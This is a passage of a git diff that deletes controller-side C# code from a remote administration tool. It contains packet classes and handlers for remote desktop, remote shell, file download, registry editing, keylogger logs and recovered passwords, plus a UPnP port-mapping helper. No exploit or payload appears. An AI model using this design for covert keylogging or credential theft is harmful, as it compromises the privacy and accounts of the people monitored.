diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs deleted file mode 100644 index 239b0cde4..000000000 --- a/Server/Core/Networking/UserState.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; -using System.Windows.Forms; -using xServer.Core.ReverseProxy; -using xServer.Core.Utilities; -using xServer.Forms; - -namespace xServer.Core.Networking -{ - public class UserState : IDisposable - { - public string Version { get; set; } - public string OperatingSystem { get; set; } - public string AccountType { get; set; } - public int ImageIndex { get; set; } - public string Country { get; set; } - public string CountryCode { get; set; } - public string Region { get; set; } - public string City { get; set; } - public string Id { get; set; } - public string Username { get; set; } - public string PCName { get; set; } - public string UserAtPc { get { return string.Format("{0}@{1}", Username, PCName); } } - public string CountryWithCode { get { return string.Format("{0} [{1}]", Country, CountryCode); } } - public string Tag { get; set; } - public string DownloadDirectory { get; set; } - - public FrmRemoteDesktop FrmRdp { get; set; } - public FrmTaskManager FrmTm { get; set; } - public FrmFileManager FrmFm { get; set; } - public FrmRegistryEditor FrmRe { get; set; } - public FrmSystemInformation FrmSi { get; set; } - public FrmRemoteShell FrmRs { get; set; } - public FrmStartupManager FrmStm { get; set; } - public FrmKeylogger FrmKl { get; set; } - public FrmReverseProxy FrmProxy { get; set; } - public FrmPasswordRecovery FrmPass { get; set; } - - public bool ReceivedLastDirectory { get; set; } - public UnsafeStreamCodec StreamCodec { get; set; } - public ReverseProxyServer ProxyServer { get; set; } - - public bool ProcessingDirectory - { - get - { - lock (_processingDirectoryLock) - { - return _processingDirectory; - } - } - set - { - lock (_processingDirectoryLock) - { - _processingDirectory = value; - } - } - } - private bool _processingDirectory; - private readonly object _processingDirectoryLock; - - public UserState() - { - ReceivedLastDirectory = true; - _processingDirectory = false; - _processingDirectoryLock = new object(); - } - - public void Dispose() - { - Dispose(true); - } - - protected virtual void Dispose(bool disposing) - { - if (disposing) - { - try - { - if (FrmRdp != null) - FrmRdp.Invoke((MethodInvoker)delegate { FrmRdp.Close(); }); - if (FrmTm != null) - FrmTm.Invoke((MethodInvoker)delegate { FrmTm.Close(); }); - if (FrmFm != null) - FrmFm.Invoke((MethodInvoker)delegate { FrmFm.Close(); }); - if (FrmRe != null) - FrmRe.Invoke((MethodInvoker)delegate { FrmRe.Close(); }); - if (FrmSi != null) - FrmSi.Invoke((MethodInvoker)delegate { FrmSi.Close(); }); - if (FrmRs != null) - FrmRs.Invoke((MethodInvoker)delegate { FrmRs.Close(); }); - if (FrmStm != null) - FrmStm.Invoke((MethodInvoker)delegate { FrmStm.Close(); }); - if (FrmKl != null) - FrmKl.Invoke((MethodInvoker)delegate { FrmKl.Close(); }); - if (FrmProxy != null) - FrmProxy.Invoke((MethodInvoker)delegate { FrmProxy.Close(); }); - if (FrmPass != null) - FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); - } - catch (InvalidOperationException) - { - } - - if (StreamCodec != null) - StreamCodec.Dispose(); - } - } - } -} \ No newline at end of file diff --git a/Server/Core/Networking/Utilities/UPnP.cs b/Server/Core/Networking/Utilities/UPnP.cs deleted file mode 100644 index e6b194f74..000000000 --- a/Server/Core/Networking/Utilities/UPnP.cs +++ /dev/null @@ -1,134 +0,0 @@ -using System; -using System.Collections.Generic; -using Mono.Nat; - -namespace xServer.Core.Networking.Utilities -{ - internal static class UPnP - { - private static Dictionary _mappings; - private static bool _discoveryComplete; - private static INatDevice _device; - private static int _port = -1; - - /// - /// Initializes the discovery of new UPnP devices. - /// - public static void Initialize() - { - _mappings = new Dictionary(); - - try - { - NatUtility.DeviceFound += DeviceFound; - NatUtility.DeviceLost += DeviceLost; - - _discoveryComplete = false; - - NatUtility.StartDiscovery(); - } - catch (Exception) - { - } - } - - /// - /// Initializes the discovery of new UPnP devices - /// and creates a port map with the given port. - /// - /// The port to map. - public static void Initialize(int port) - { - _port = port; - Initialize(); - } - - /// - /// Tells if the class found an UPnP device. - /// - public static bool IsDeviceFound - { - get { return _device != null; } - } - - /// - /// Creates a new port map. - /// - /// The port to map. - /// The port which has been mapped, -1 if it failed. - /// True if successfull, else False. - public static bool CreatePortMap(int port, out int externalPort) - { - if (!_discoveryComplete) - { - externalPort = -1; - return false; - } - - try - { - Mapping mapping = new Mapping(Protocol.Tcp, port, port); - - for (int i = 0; i < 3; i++) - _device.CreatePortMap(mapping); - - if (_mappings.ContainsKey(mapping.PrivatePort)) - _mappings[mapping.PrivatePort] = mapping; - else - _mappings.Add(mapping.PrivatePort, mapping); - - externalPort = mapping.PublicPort; - return true; - } - catch (MappingException) - { - externalPort = -1; - return false; - } - } - - /// - /// Deletes an existing port map. - /// - /// The port to delete. - public static void DeletePortMap(int port) - { - if (!_discoveryComplete) - return; - - Mapping mapping; - if (_mappings.TryGetValue(port, out mapping)) - { - try - { - for (int i = 0; i < 3; i++) - _device.DeletePortMap(mapping); - } - catch (MappingException) - { - } - } - } - - private static void DeviceFound(object sender, DeviceEventArgs args) - { - _device = args.Device; - - NatUtility.StopDiscovery(); - - _discoveryComplete = true; - - if (_port > 0) - { - int outPort; - CreatePortMap(_port, out outPort); - } - } - - private static void DeviceLost(object sender, DeviceEventArgs args) - { - _device = null; - _discoveryComplete = false; - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs b/Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs deleted file mode 100644 index c1395538a..000000000 --- a/Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class DoDownloadFileResponse : IPacket - { - public int ID { get; set; } - - public string Filename { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public string CustomMessage { get; set; } - - public DoDownloadFileResponse() - { - } - - public DoDownloadFileResponse(int id, string filename, byte[] block, int maxblocks, int currentblock, - string custommessage) - { - this.ID = id; - this.Filename = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - this.CustomMessage = custommessage; - } - - public void Execute(Client client) - { - client.SendBlocking(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs b/Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs deleted file mode 100644 index 0e8bf96b0..000000000 --- a/Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class DoShellExecuteResponse : IPacket - { - public string Output { get; set; } - - public bool IsError { get; private set; } - - public DoShellExecuteResponse() - { - } - - public DoShellExecuteResponse(string output, bool isError = false) - { - this.Output = output; - this.IsError = isError; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs b/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs deleted file mode 100644 index d957f0926..000000000 --- a/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetAuthenticationResponse : IPacket - { - public string Version { get; set; } - - public string OperatingSystem { get; set; } - - public string AccountType { get; set; } - - public string Country { get; set; } - - public string CountryCode { get; set; } - - public string Region { get; set; } - - public string City { get; set; } - - public int ImageIndex { get; set; } - - public string Id { get; set; } - - public string Username { get; set; } - - public string PCName { get; set; } - - public string Tag { get; set; } - - public GetAuthenticationResponse() - { - } - - public GetAuthenticationResponse(string version, string operatingsystem, string accounttype, string country, string countrycode, - string region, string city, int imageindex, string id, string username, string pcname, string tag) - { - Version = version; - OperatingSystem = operatingsystem; - AccountType = accounttype; - Country = country; - CountryCode = countrycode; - Region = region; - City = city; - ImageIndex = imageindex; - Id = id; - Username = username; - PCName = pcname; - Tag = tag; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs b/Server/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs deleted file mode 100644 index 7b6e69d2a..000000000 --- a/Server/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetChangeRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public RegValueData Value { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetChangeRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs b/Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs deleted file mode 100644 index 4a7fab103..000000000 --- a/Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetCreateRegistryKeyResponse : IPacket - { - public string ParentPath { get; set; } - public RegSeekerMatch Match { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetCreateRegistryKeyResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs b/Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs deleted file mode 100644 index 773cf0c7e..000000000 --- a/Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetCreateRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public RegValueData Value { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetCreateRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs b/Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs deleted file mode 100644 index 13b9991fd..000000000 --- a/Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDeleteRegistryKeyResponse : IPacket - { - public string ParentPath { get; set; } - public string KeyName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetDeleteRegistryKeyResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs b/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs deleted file mode 100644 index 500950a39..000000000 --- a/Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDeleteRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public string ValueName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetDeleteRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs b/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs deleted file mode 100644 index 84b9c4165..000000000 --- a/Server/Core/Packets/ClientPackets/GetDesktopResponse.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDesktopResponse : IPacket - { - public byte[] Image { get; set; } - - public int Quality { get; set; } - - public int Monitor { get; set; } - - public string Resolution { get; set; } - - public GetDesktopResponse() - { - } - - public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution) - { - this.Image = image; - this.Quality = quality; - this.Monitor = monitor; - this.Resolution = resolution; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs b/Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs deleted file mode 100644 index dbe3a86b5..000000000 --- a/Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDirectoryResponse : IPacket - { - public string[] Files { get; set; } - - public string[] Folders { get; set; } - - public long[] FilesSize { get; set; } - - public GetDirectoryResponse() - { - } - - public GetDirectoryResponse(string[] files, string[] folders, long[] filessize) - { - this.Files = files; - this.Folders = folders; - this.FilesSize = filessize; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetDrivesResponse.cs b/Server/Core/Packets/ClientPackets/GetDrivesResponse.cs deleted file mode 100644 index 9895c7563..000000000 --- a/Server/Core/Packets/ClientPackets/GetDrivesResponse.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDrivesResponse : IPacket - { - public string[] DriveDisplayName { get; set; } - - public string[] RootDirectory { get; set; } - - public GetDrivesResponse() - { - } - - public GetDrivesResponse(string[] driveDisplayName, string[] rootDirectory) - { - this.DriveDisplayName = driveDisplayName; - this.RootDirectory = rootDirectory; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs b/Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs deleted file mode 100644 index 9f159f6bb..000000000 --- a/Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetKeyloggerLogsResponse : IPacket - { - public string Filename { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public string CustomMessage { get; set; } - - public int Index { get; set; } - - public int FileCount { get; set; } - - public GetKeyloggerLogsResponse() { } - public GetKeyloggerLogsResponse(string filename, byte[] block, int maxblocks, int currentblock, string custommessage, int index, int fileCount) - { - this.Filename = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - this.CustomMessage = custommessage; - this.Index = index; - this.FileCount = fileCount; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs b/Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs deleted file mode 100644 index ea40aca0e..000000000 --- a/Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetMonitorsResponse : IPacket - { - public int Number { get; set; } - - public GetMonitorsResponse() - { - } - - public GetMonitorsResponse(int number) - { - this.Number = number; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs b/Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs deleted file mode 100644 index e1edc02f1..000000000 --- a/Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System.Collections.Generic; -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetPasswordsResponse : IPacket - { - public List Passwords { get; set; } - - public GetPasswordsResponse() - { - } - - public GetPasswordsResponse(List data) - { - this.Passwords = data; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetProcessesResponse.cs b/Server/Core/Packets/ClientPackets/GetProcessesResponse.cs deleted file mode 100644 index a13767958..000000000 --- a/Server/Core/Packets/ClientPackets/GetProcessesResponse.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetProcessesResponse : IPacket - { - public string[] Processes { get; set; } - - public int[] IDs { get; set; } - - public string[] Titles { get; set; } - - public GetProcessesResponse() - { - } - - public GetProcessesResponse(string[] processes, int[] ids, string[] titles) - { - this.Processes = processes; - this.IDs = ids; - this.Titles = titles; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs deleted file mode 100644 index e78a80e73..000000000 --- a/Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetRegistryKeysResponse : IPacket - { - public RegSeekerMatch[] Matches { get; set; } - - public string RootKey { get; set; } - - public GetRegistryKeysResponse() - { } - - public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null) - : this(new RegSeekerMatch[] { match }, rootKey) - { } - - public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null) - { - Matches = matches; - RootKey = rootKey; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs b/Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs deleted file mode 100644 index 3919b65b5..000000000 --- a/Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetRenameRegistryKeyResponse : IPacket - { - public string ParentPath { get; set; } - public string OldKeyName { get; set; } - public string NewKeyName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetRenameRegistryKeyResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs b/Server/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs deleted file mode 100644 index ca8f187f8..000000000 --- a/Server/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetRenameRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public string OldValueName { get; set; } - public string NewValueName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetRenameRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs b/Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs deleted file mode 100644 index 68d43a702..000000000 --- a/Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System.Collections.Generic; -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetStartupItemsResponse : IPacket - { - public List StartupItems { get; set; } - - public GetStartupItemsResponse() - { - } - - public GetStartupItemsResponse(List startupitems) - { - this.StartupItems = startupitems; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs b/Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs deleted file mode 100644 index 3101d541c..000000000 --- a/Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class GetSystemInfoResponse : IPacket - { - public string[] SystemInfos { get; set; } - - public GetSystemInfoResponse() - { - } - - public GetSystemInfoResponse(string[] systeminfos) - { - this.SystemInfos = systeminfos; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/SetStatus.cs b/Server/Core/Packets/ClientPackets/SetStatus.cs deleted file mode 100644 index 89eeee2aa..000000000 --- a/Server/Core/Packets/ClientPackets/SetStatus.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class SetStatus : IPacket - { - public string Message { get; set; } - - public SetStatus() - { - } - - public SetStatus(string message) - { - Message = message; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/SetStatusFileManager.cs b/Server/Core/Packets/ClientPackets/SetStatusFileManager.cs deleted file mode 100644 index 74a7d281f..000000000 --- a/Server/Core/Packets/ClientPackets/SetStatusFileManager.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class SetStatusFileManager : IPacket - { - public string Message { get; set; } - - public bool SetLastDirectorySeen { get; set; } - - public SetStatusFileManager() - { - } - - public SetStatusFileManager(string message, bool setLastDirectorySeen) - { - Message = message; - SetLastDirectorySeen = setLastDirectorySeen; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ClientPackets/SetUserStatus.cs b/Server/Core/Packets/ClientPackets/SetUserStatus.cs deleted file mode 100644 index 11b591803..000000000 --- a/Server/Core/Packets/ClientPackets/SetUserStatus.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using xServer.Core.Networking; -using xServer.Enums; - -namespace xServer.Core.Packets.ClientPackets -{ - [Serializable] - public class SetUserStatus : IPacket - { - public UserStatus Message { get; set; } - - public SetUserStatus() - { - } - - public SetUserStatus(UserStatus message) - { - Message = message; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/IPacket.cs b/Server/Core/Packets/IPacket.cs deleted file mode 100644 index 9cb77da23..000000000 --- a/Server/Core/Packets/IPacket.cs +++ /dev/null @@ -1,9 +0,0 @@ -using xServer.Core.Networking; - -namespace xServer.Core.Packets -{ - public interface IPacket - { - void Execute(Client client); - } -} \ No newline at end of file diff --git a/Server/Core/Packets/PacketHandler.cs b/Server/Core/Packets/PacketHandler.cs deleted file mode 100644 index 69290d75f..000000000 --- a/Server/Core/Packets/PacketHandler.cs +++ /dev/null @@ -1,117 +0,0 @@ -using xServer.Core.Commands; -using xServer.Core.Networking; -using xServer.Core.ReverseProxy; - -namespace xServer.Core.Packets -{ - public static class PacketHandler - { - public static void HandlePacket(Client client, IPacket packet) - { - if (client == null || client.Value == null) - return; - - var type = packet.GetType(); - - if (type == typeof(ClientPackets.SetStatus)) - { - CommandHandler.HandleSetStatus(client, (ClientPackets.SetStatus)packet); - } - else if (type == typeof(ClientPackets.SetUserStatus)) - { - CommandHandler.HandleSetUserStatus(client, (ClientPackets.SetUserStatus)packet); - } - else if (type == typeof(ClientPackets.GetDesktopResponse)) - { - CommandHandler.HandleGetDesktopResponse(client, (ClientPackets.GetDesktopResponse)packet); - } - else if (type == typeof(ClientPackets.GetProcessesResponse)) - { - CommandHandler.HandleGetProcessesResponse(client, - (ClientPackets.GetProcessesResponse)packet); - } - else if (type == typeof(ClientPackets.GetDrivesResponse)) - { - CommandHandler.HandleGetDrivesResponse(client, (ClientPackets.GetDrivesResponse)packet); - } - else if (type == typeof(ClientPackets.GetDirectoryResponse)) - { - CommandHandler.HandleGetDirectoryResponse(client, (ClientPackets.GetDirectoryResponse)packet); - } - else if (type == typeof(ClientPackets.DoDownloadFileResponse)) - { - CommandHandler.HandleDoDownloadFileResponse(client, - (ClientPackets.DoDownloadFileResponse)packet); - } - else if (type == typeof(ClientPackets.GetSystemInfoResponse)) - { - CommandHandler.HandleGetSystemInfoResponse(client, - (ClientPackets.GetSystemInfoResponse)packet); - } - else if (type == typeof(ClientPackets.GetMonitorsResponse)) - { - CommandHandler.HandleGetMonitorsResponse(client, (ClientPackets.GetMonitorsResponse)packet); - } - else if (type == typeof(ClientPackets.DoShellExecuteResponse)) - { - CommandHandler.HandleDoShellExecuteResponse(client, - (ClientPackets.DoShellExecuteResponse)packet); - } - else if (type == typeof(ClientPackets.GetStartupItemsResponse)) - { - CommandHandler.HandleGetStartupItemsResponse(client, - (ClientPackets.GetStartupItemsResponse)packet); - } - else if (type == typeof(ClientPackets.GetKeyloggerLogsResponse)) - { - CommandHandler.HandleGetKeyloggerLogsResponse(client, (ClientPackets.GetKeyloggerLogsResponse)packet); - } - else if (type == typeof(ClientPackets.GetRegistryKeysResponse)) - { - CommandHandler.HandleLoadRegistryKey((ClientPackets.GetRegistryKeysResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetCreateRegistryKeyResponse)) - { - CommandHandler.HandleCreateRegistryKey((ClientPackets.GetCreateRegistryKeyResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetDeleteRegistryKeyResponse)) - { - CommandHandler.HandleDeleteRegistryKey((ClientPackets.GetDeleteRegistryKeyResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetRenameRegistryKeyResponse)) - { - CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse)) - { - CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetDeleteRegistryValueResponse)) - { - CommandHandler.HandleDeleteRegistryValue((ClientPackets.GetDeleteRegistryValueResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetRenameRegistryValueResponse)) - { - CommandHandler.HandleRenameRegistryValue((ClientPackets.GetRenameRegistryValueResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetChangeRegistryValueResponse)) - { - CommandHandler.HandleChangeRegistryValue((ClientPackets.GetChangeRegistryValueResponse)packet, client); - } - else if (type == typeof(ClientPackets.GetPasswordsResponse)) - { - CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet); - } - else if (type == typeof(ClientPackets.SetStatusFileManager)) - { - CommandHandler.HandleSetStatusFileManager(client, (ClientPackets.SetStatusFileManager)packet); - } - else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) || - type == typeof(ReverseProxy.Packets.ReverseProxyData) || - type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect)) - { - ReverseProxyCommandHandler.HandleCommand(client, packet); - } - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoChangeRegistryValue.cs b/Server/Core/Packets/ServerPackets/DoChangeRegistryValue.cs deleted file mode 100644 index d08854895..000000000 --- a/Server/Core/Packets/ServerPackets/DoChangeRegistryValue.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Linq; -using System.Text; -using xServer.Core.Networking; -using xServer.Core.Registry; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoChangeRegistryValue : IPacket - { - public string KeyPath { get; set; } - public RegValueData Value { get; set; } - - public DoChangeRegistryValue(string keyPath, RegValueData value) - { - KeyPath = keyPath; - Value = value; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Server/Core/Packets/ServerPackets/DoClientDisconnect.cs b/Server/Core/Packets/ServerPackets/DoClientDisconnect.cs deleted file mode 100644 index 74e3fcc93..000000000 --- a/Server/Core/Packets/ServerPackets/DoClientDisconnect.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoClientDisconnect : IPacket - { - public DoClientDisconnect() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoClientReconnect.cs b/Server/Core/Packets/ServerPackets/DoClientReconnect.cs deleted file mode 100644 index 0b7554d9e..000000000 --- a/Server/Core/Packets/ServerPackets/DoClientReconnect.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - [Serializable] - public class DoClientReconnect : IPacket - { - public DoClientReconnect() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Server/Core/Packets/ServerPackets/DoClientUninstall.cs b/Server/Core/Packets/ServerPackets/DoClientUninstall.cs deleted file mode 100644 index d708acca0..000000000 --- a/Server/Core/Packets/ServerPackets/DoClientUninstall.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xServer.Core.Networking; - -namespace xServer.Core.Packets.ServerPackets -{ - 